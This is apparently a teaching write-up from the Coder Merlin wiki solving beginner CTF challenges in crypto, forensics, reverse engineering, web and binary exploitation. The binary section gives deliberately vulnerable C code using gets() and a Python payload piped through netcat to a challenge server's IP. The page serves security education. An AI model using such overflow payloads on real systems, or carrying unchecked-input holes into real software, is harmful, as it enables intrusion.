W4502 Capture the Flag II

From Coder Merlin

This page will serve as a writeup for the CTF II competition problems.

Cryptography[edit]

Telegraph[edit]

[25 Points] -- .-. / -- --- .-. ... . / .... .- -.. / .- / .... --- .-. ... . / --- ..-. / -.-. --- ..- .-. ... .
Hint: Your answer should have underscores separating the words.

By examining the challenge name and the dots and dashes, we can assume that the flag is encoded using morse code. When putting this in an online translator, we get "MR MORSE HAD A HORSE OF COURSE". If we format this, we get this flag: ahsCTF{mr_morse_had_a_horse_of_course}.

Racecar[edit]

[25 Points] ahsCTF{ti_esrev3r_t$uj}
Hint: racecar is an interesting word

Since "racecar" is a palindrome (same forward and backward), we can guess that the flag is reversed. If we reverse "ti_esrev3r_t$uj", we get "ju$t_r3verse_it". When we format this in the flag format, we get ahsCTF{ju$t_r3verse_it}.

Base 2 to the 6th[edit]

[50 Points] I don’t know how to convert bases for my computer science class. Can you help me out and do this problem for me so I don’t fail?

We also receive a file with this text: "YWhzQ1RGe2lfbGlrZV9iaWdfYmFzZXNfYW5kX2lfY2Fubm90X2xpZX0=". The characters used in this encoded message appear to be base64, and the challenge name also hints at base64 (2^6 = 64). If we put this in an online base64 decoder, we get ahsCTF{i_like_big_bases_and_i_cannot_lie}.

Message Mayhem[edit]

[275 Points] I received this message over my unreliable Wi-Fi, but it doesn’t make any sense.
Hint: The message seems to have been repeated on every line but some characters are corrupted.

We also get a file called message.txt which contains this:

ahsCTF{923fw3d2-3fw0ejdwoedpk3fe
a_#}?}5nJgxbU4.StN~oi_qn3WbV~qjl
[}ZCuR{8PAVW0XD~4Y8o9]X/P_'Uv9/S
y#GC1Uwb:Ksb#nDl3pzow_>|7O|\{NsM
Ofs6K*9b)[ndUcFrfX_4s*bXaYbo#0A*
]%sf#g{bag_{oZv%U/_UoFbIor#Y+ss<
a.pdl){b!gM3=n_a3nJo]6Zt"(bj03 (
>p,_T5Ch&g"uirCh6F{bJt|z9| xexs0
B@.VqT{i!gXh[M&hb$_oMkwM2kk}BW@A
ap$BB?ubL/t.UBOFNiRj;v: 0__Mw6B<
a"\CT=.b?0Stind['J..$%z\(BbM@gs6
[hx|vB4[as_2!n~h3r_osZo@^%z#@38a
RhVCTFeQ!}xn>numa=Qo4?ZO|nbjujI}
J7'$wQFR!gBQ5ngOQ$_mfXMqg&bYiLqj
}GyRmF2GRg_b 5Cg:C#j]k*@d*CY]3sH
Fc^ag%?b!hy_={gh3I}Uf'~XR_Q{t3L<
Eh4rrk-G{NS1UsCM3D6Z=Ik2k@bY^3O}
5[~Co,%q{gB&3F*XLh_hOdGL},~+pYdU
ahcC~h!B#7aiUCCS%@=gp*D@o9,<kJ0}
oysdLp{M2"_bUnCgr|>+>)~b\5\Yhn;K
{iiF+X[G/e_b<\'T0TW7>y.zd,vYg$sg
{%TSiCI_'x(sV[:ht]IofEb1,Pbkg}J;
K\sCT$^bY)ZvhEX/7)fGf,]O'vb_YvFX
an'AbBwbxs'b6nCZeg!g:as6N_KI3\lb
m9cF/F/bonVbU;&0e@:Tf_F,dva+dmC'
 l>\.4{bNTAf>us]%gwo"rM<" bYmSf0
0:CCTB`"r+5AU)4j3.EqdbV@fETrrClA
BDR(LFqb!@s4Q23^f$g~;S>)d{USyd0_
;T,>TW)N=FUKYn6hp$_'3:b@PhxYtasC
~W:@MJf3zv_%UoCYa-etD`bF!Qq|_w^^
+B&{G\x!Xf_l87@"3k?oIS=HD0;)/3n}
:4U3TFg:~7*%e#&kt?po2_HYd}?4$PWj
I/ wDpKbDN:]UOk!f$IoSN!Kp4w[t3 C
g<sATF<Y1AG<N7f13dn<D`s@d8bYt*H9
sS(}:FL1w?zl-~MNrHVp8_*ml_|Y5\0}
;gsjzF|'!KWsZW h$^H\3<{EdST}dO4&
a\(YLFbr;K;bTU>Z)\_0C1byLc|'.P$^
qh*Cfs{a]Q_758i"3uBue*0{N^x7z&f)
>$h4c\vb|!#bUuC5w$_oe}bC,/d;S3'=
ayJ;#l{:!K+QUnH,@~PmfubIdT{Yt8B~
o+{Cqx=bnPCvy7Nh:$l0y_f^59?I;hHC
'W8f{%{68gHbq!Ci&9$o$:=0KG>%R;d}
,"6g&\-CiW^~^Z}_*(Hj#|bYh"bS_FD}
#g@G\Y!b1$DB2n{?}Riu?wO0C!GY4zY}
u&sopwP:7"L~xwCP:0M# db@7CbgP8@h
>{6~[H?>6g_=rezs}#Af3~f@d3bYt3>K
a,jCqMHCYgVo=nV9oxS/f/bBR_='S}RD
a/sCm({r!A8bU.yh33_o {%2d4bJq3u-
aJ=IT${b8[_hm;oNgm_q[ydU _ZXE6i{
-3s-eM{}V}JPUnCv{NPN*P8Qd_b8{ssy
aM7(voyZk._lUn8>3"G'fya7gR8ot30y
7)j>THZP"EXA;Z`h8A1Gf=8^R%hYe=7a
FFsRwI7bUg_yUA$wEp_w2_b!UmEbx56$
8h+92B{Z#y]qXn@ @z#SKhwmqPI8MI&/
a;P]e>Dh(HH2W> hQizG'o+42`I}tWHn
#ww<TC"bng*b" Cecy.aGSA@bObLJQs}
adui#8{~,glb+@7lr$OoJ_0pm8`jsOTR
807ATFj0=WNb`^CNL|}Rc_ds&}YIP}3_
.IG;TsU]QS$ra+/k42:@=X\">Bt1tvsO
ZD[dimMb`\I%Un\h.g_rUDy_d\;4zPi}
a9k(T_@bDC*bEn%;B/A*<X8C'u?^[3Wa
IU4 Ac^b! EbUmC_Q$9SOFdu./bTg3sq
g-fCaF[[I*o9`{phOx_NBkm$dspqt'\}
_#yU ;{bW$_b!nj2oW~)d_b'd_b;(vY*
M;sUkNi>sgp|unCS3$pNLZMnz%#=tud^
Lhy"%r{hvg0DZ2fYGr}=ckV_#Xb\6z-W
x#sRTFW,EABnU\s$3=Oeh_0KyJ/Y'K#I
&AIWTfBbn%GUuluhx^5/&_5gd$b\t3Zv
ah{yTF{b!g)`[M`D=6yof"Bj7_BS{as3
CN1FS_`bd.-d4T>,sD~?*a(JzJnCtQsW
^hL|A'(Z[:wQ-xr~V,^xf+b@meZaib]k
tzZ516"!=F?bynPX'E_wrt~r0"Q(F[n}
d.vnTF#K!<_eUnN[n0[of_bI9_(\,3s?
]RVYTFA/BZ-R]nCP5n@W*T?@dR$&q|}~
|S.t&F?yH2{bKQe0qK+$XWbtd$b3tJBi
gOr>YFn1Jc:zGjCG/nU*fn2@`~JFp5*}
a$n8ysFbqY_p2uCUcn4m}+S@rT{<tS7X
c_sC|lXL!!~b_nWl.e\B]_wU[Wb)tkMq
t?h,45~3qu=b@aB\Pt_*5Ub04_DY2@U'
ahs\T,{btJ@b ncK3TD4#_mG9~FY{Ts!
ahwC?"'`Sj__oNCl3V>oBXWsdq4Wtb]|
Vp];!ar[j?tbAnOh3B'.GF:@eNN7#3%f
N 2[TDHC\g/,>Jw>3{e:].A]s_:YtRF}
dhXu-1{e.Y0vm72?3[8PfbO?NLb]xs[;
$h-x0ASb-nE'cn383#4d;_|ma/pJt9mM
j,]XmF{@%'_&}bXUzN|oZ^i.nsP4t6vL
U"2GT:{KMrKjxnCh{F#uU7bWd_yBtbh}
ma=DTB0w!0_nUnc|3Unv0\^A|V-On3Pm
1bb5OSW&cgi=fle=UYQH>li1RxdJt*N,
yhz84FKx9g5epISh3fuZH_p@d_bYQ7_e
seqB4x{]xlBAl|zv3$foa:!,S3b=txLo
Kh8CWV]3]gP3*aiSpjFTP_b!q,+,~3SQ
\A`Cootb0Uo(4YwhD\::!I>dOP_Yt3bT
a\9kDF{j;Ik|8skb2[(DA_Q%A_bYw|q}
zh/C~t+Gx[@NTP|kkm_oS/k@Bae~vyGY
ahp"B:#d{g/zMnUg3^jzfqv@d= R>3>}
`h0}Tbk3^ge@2"%:Gzw9LF"|R_6z2_s3
phr5Sn/-!g__u[^KzJk* _Rm-Cbws8`2
$ru]OG{G5g^GlnC9E$3Xf^inMrcs%{X<
eXHGe<1y!Pqo8rRPn$GvV_&ldAM3]gH}
1dZL$FPh!h"x4LC?30#oEk]z-]}YAeaa

By viewing the hint and looking very closely at the characters on each line of the message we realize that the message was repeated 101 times but some characters were incorrect. We find that there seems to be similar characters in the same positions of each line (lots of "a"s in the 0th indexes, "h"s in the 1st index, etc.). We can write a simple Python script to decode this:

 1import statistics
 2
 3f = open("message.txt", "r")
 4arr = [""] *32
 5
 6for _ in range(0, 101):
 7    msg = f.readline()
 8    for j in range(0, 32):
 9         arr[j] += msg[j]
10
11flag = ""
12for i in arr:
13    flag += statistics.mode(i)
14
15print(flag)

This script starts by opening message.txt and creating an array of 32 empty strings because there are 32 characters per line. The script then loops through every line and for every line it loops through every character and adds that character to the corresponding position in the array. The array will now have 32 strings that each have a length of 101. The last loop in the script loops through the array and uses the statistics import to find the most common character and append it to the flag. This program outputs ahsCTF{b!g_bUnCh3$_of_b@d_bYt3s}.

Forensics[edit]

Plumbing[edit]

[75 Points] I haven't cleaned up my computer in a while, but I need to find the flag. The problem is, there's way too much junk. https://github.com/markamirkan/temprevshell/raw/main/plumbing.zip

The download link provides a zip file called plumbing.zip.

We can start by unzipping this file so we can work with it. We get a folder called plumbing which contains many folders within it and each of those folders has many files within it. The names and contents of the folders and files seem to be random. We can use the grep command to search the contents of files.

john-williams@codermerlin:~/plumbing$  grep -r ahsCTF .

The -r option is used to search recursively through all of the folders for "ahsCTF" in the current directory (represented by "."). After running this command we get an output containing ahsCTF{itsAMe_mario}.

Exif Exists[edit]

[75 Points] Don’t take the image at face value
Hint: What’s exif?

The challenge also provides this image:

exif_exists.jpg

Let's start by downloading this image into the Merlin shell. We can use the wget command with the download URL.

john-williams@codermerlin:~$  wget [URL]

Once the image is in the shell, we can start examining it. The challenge hints at something called exif. If we google this, we find that exif is the metadata of files. To view the exif data, we can use the following command:

john-williams@codermerlin:~$  exiftool exif_exists.jpg

We see that one of the metadata entries is ahsCTF{very_nice_meta_data}.

Head Shoulders Knees & Toes[edit]

[175 Points] This image seems to be corrupt, can you fix it?
The image is supposed to be a png

The challenge also provides a file called head_shoulders_knees.

If we open up head_shoulders_knees in a text editor we find that it is a binary file, yet it says PNG at the top. The file seems to be a corrupted PNG file. We can rename it to head_shoulders_knees.png and open it up in a hex editor, which allows us to modify the file's raw hex data. In this case, we used the HxD hex editor on Windows. When we open up the file's hex, we see these bytes at the beginning:

98 50 4E 47 0D 0A 1A 0A 00 00 00 0D 50 67 34 56

A quick google search of the correct PNG file header reveals it should look like this:

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

We can use HxD to modify the file's hex to look like the correct PNG file header. After we do this, the image opens normally and has the text ahsCTF{that_header_looks_better}.

Reverse Engineering[edit]

Wait… how do i read this?[edit]

[300 Points] I found this executable, but I didn’t manage to get it’s source code. Maybe there’s some other way…
Hint: https://www.codermerlin.com/wiki/index.php/W4500_Cyber_Security#Reverse_Engineering

The challenge also provides an executable called secretBinary.

The challenge prompt and hint imply that we should decompile the binary in order to view the source code. We can use Ghidra to do this. Shart by opening Ghidra using the ghidraRun executable (Linux) or ghidraRun.bat (Windows). Then select CodeBrowser from the Tool Chest and then import secretBinary. After Ghidra analyzes the file, we can view its source code by searching for the main function and selecting it:

 1undefined8 main(void)
 2
 3{
 4  int iVar1;
 5  char local_48 [32];
 6  char local_28 [28];
 7  int local_c;
 8  
 9  printf("Enter your flag (19 character limit): ");
10  __isoc99_scanf(&DAT_0010202f,local_28);
11  local_c = 0;
12  while (local_c < 0x39) {
13    local_48[local_c / 3] = local_28[local_c % 0x13];
14    local_c = local_c + 3;
15  }
16  iVar1 = strcmp(local_48,"aC{isl}sFhIFghTtsAa");
17  if (iVar1 == 0) {
18    puts("Flag is correct!");
19  }
20  else {
21    puts("Flag is incorrect.");
22  }
23  return 0;
24}

The code appears to use the scanf function to scan user input. A loop then seems to take every third character of the user input and append it to the local_48 variable. The strcmp function is then used to compare the manipulated user input to "aC{isl}sFhIFghTtsAa", and if they match then display that the flag is correct. That means that "aC{isl}sFhIFghTtsAa" is the result of every third character of the flag being appended to a string. Since the string is small, we can manually decrypt it by separating each character by 3 byes to get "a..C..{..i..s..l..}..s..F..h..I..F..g..h..T..t..s..A..a" then shifting the pieces together to get "ah.CT.{t.is.sA.la.}..s..F..h..I..F..g" and then "ahsCTF{thisIsAFlag}".

Web Exploitation[edit]

Inspect[edit]

[125 Points] I have this neat website, but I think someone hid a flag in the code: http://157.230.232.214:5000
Hint: Look at the code for all the html files

The title inspect gives us a hint that we will need to use inspect element to view the source code, and uncover the flag. If we also take a look at the menu button at the top right, we see that there are 3 HTML pages on this website. Inside of an HTML comment in the file elements.html you can find the flag: ahsCTF{mr_inspector}.

Robotics[edit]

[150 Points] The staff at the STEAM Center are sick of the robotics team letting their robots roam everywhere, so they designated some areas as off-limits. In fact, the staff made a list of where the robots aren’t allowed… http://157.230.228.208:5001
Hint 1: How do we tell robots where they are not allowed to go on our website?
Hint 2: Google robots.txt

The hint asks “How do we tell robots where they are not allowed to go on our website?” With a quick google search, we find out that a file named robots.txt can be used to give instructions to web crawling robots on where they are not allowed to go on the site. After navigating to 157.230.228.208:5001/robots.txt we see that the Disallow field lists the file you-found-me.html in the root directory. We can then find the flag ahsCTF{this_is_where_robots_go} by going to the website 157.230.228.208:5001/you-found-me.html.

Binary Exploitation[edit]

i’m Buffer than you too[edit]

[250 Points] Another beautiful buffer to exploit! But this time, there are no addresses given…
Run this command: nc 157.230.232.209 5002
Hint: It’s sometimes useful to pass input to programs using python’s -c option

The challenge also provides the file imbufferthanyoutoo.c and the executable imbufferthanyoutoo.

The imbufferthanyou.c file contains this code:

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <string.h>
 4
 5void vuln() {
 6    int secret = 0x00000000;
 7    char buffer[12];
 8
 9    printf("Input text into buffer: ");
10    gets(buffer); // This may be a vulnerability...
11
12    if(secret == 0xba659288) {
13        printf("You found the flag!\n");
14        system("cat flag.txt");
15    } else {
16        printf("It looks like you didn't overwrite the secret variable or overwrote using the wrong data.\n");
17    }
18
19    exit(0);
20}
21
22int main() {
23    setvbuf(stdout, NULL, _IONBF, 0);
24    setvbuf(stdin, NULL, _IONBF, 0);
25    setvbuf(stderr, NULL, _IONBF, 0);
26    vuln();
27}

Prerequisite: https://en.wikipedia.org/wiki/Call_stack

It seems that in order to concatenate flag.txt we must overwrite the value of the secret integer in memory. Luckily, this program uses the gets function to collect user input. The gets function does not check if the input size exceeds the size of the array it is stored in, therefore allowing us to override data after the array buffer's memory location. Since the buffer array size is 12, if we input more than 12 characters we will begin overwriting data outside the buffer. We can guess that the address of the secret variable is 12 bytes after the buffer by looking at the code and understanding the stack, however, we can also use the gdb debugger to verify the locations of the local variables.

GoingDeeperIcon.png
Going Deeper
When using gdb, the "print &[variable]" and "info addr [variable]" commands can be used to view the memory locations of variables.

Let's now run the executable using our payload of 12 characters to fill the buffer followed by the value 0xba659288 to overwrite the secret integer. We used python's -c option and the | operator to pipe the output of this python statement into the program. Note that this syntax only works in python 2.

john-williams@codermerlin:~$  python -c "print('a'*12 + '\x88\x92\x65\xba')" ∣ ./imbufferthanyoutoo

We get the following output:

Input text into buffer: You found the flag!
cat: flag.txt: No such file or directory

It worked! It attempted to run the concatenation command, but flag.txt is stored on the server, not on our host machine. We can run the executable on the server by using Netcat (nc). The challenge prompt gives us the IP address and port of the server to netcat to. Let's run the same command as before but pipe the python output into the server's executable using Netcat:

john-williams@codermerlin:~$  python -c "print('a'*12 + '\x88\x92\x65\xba')" ∣ nc 157.230.232.209 5002

We get the following output:

Input text into buffer: You found the flag!
ahsCTF{br3@k!Ng_bUfF3r$_i$_th3_bEsT}

There it is! The flag is ahsCTF{br3@k!Ng_bUfF3r$_i$_th3_bEsT}.


Designed with pride in Silicon Valley, CA, USA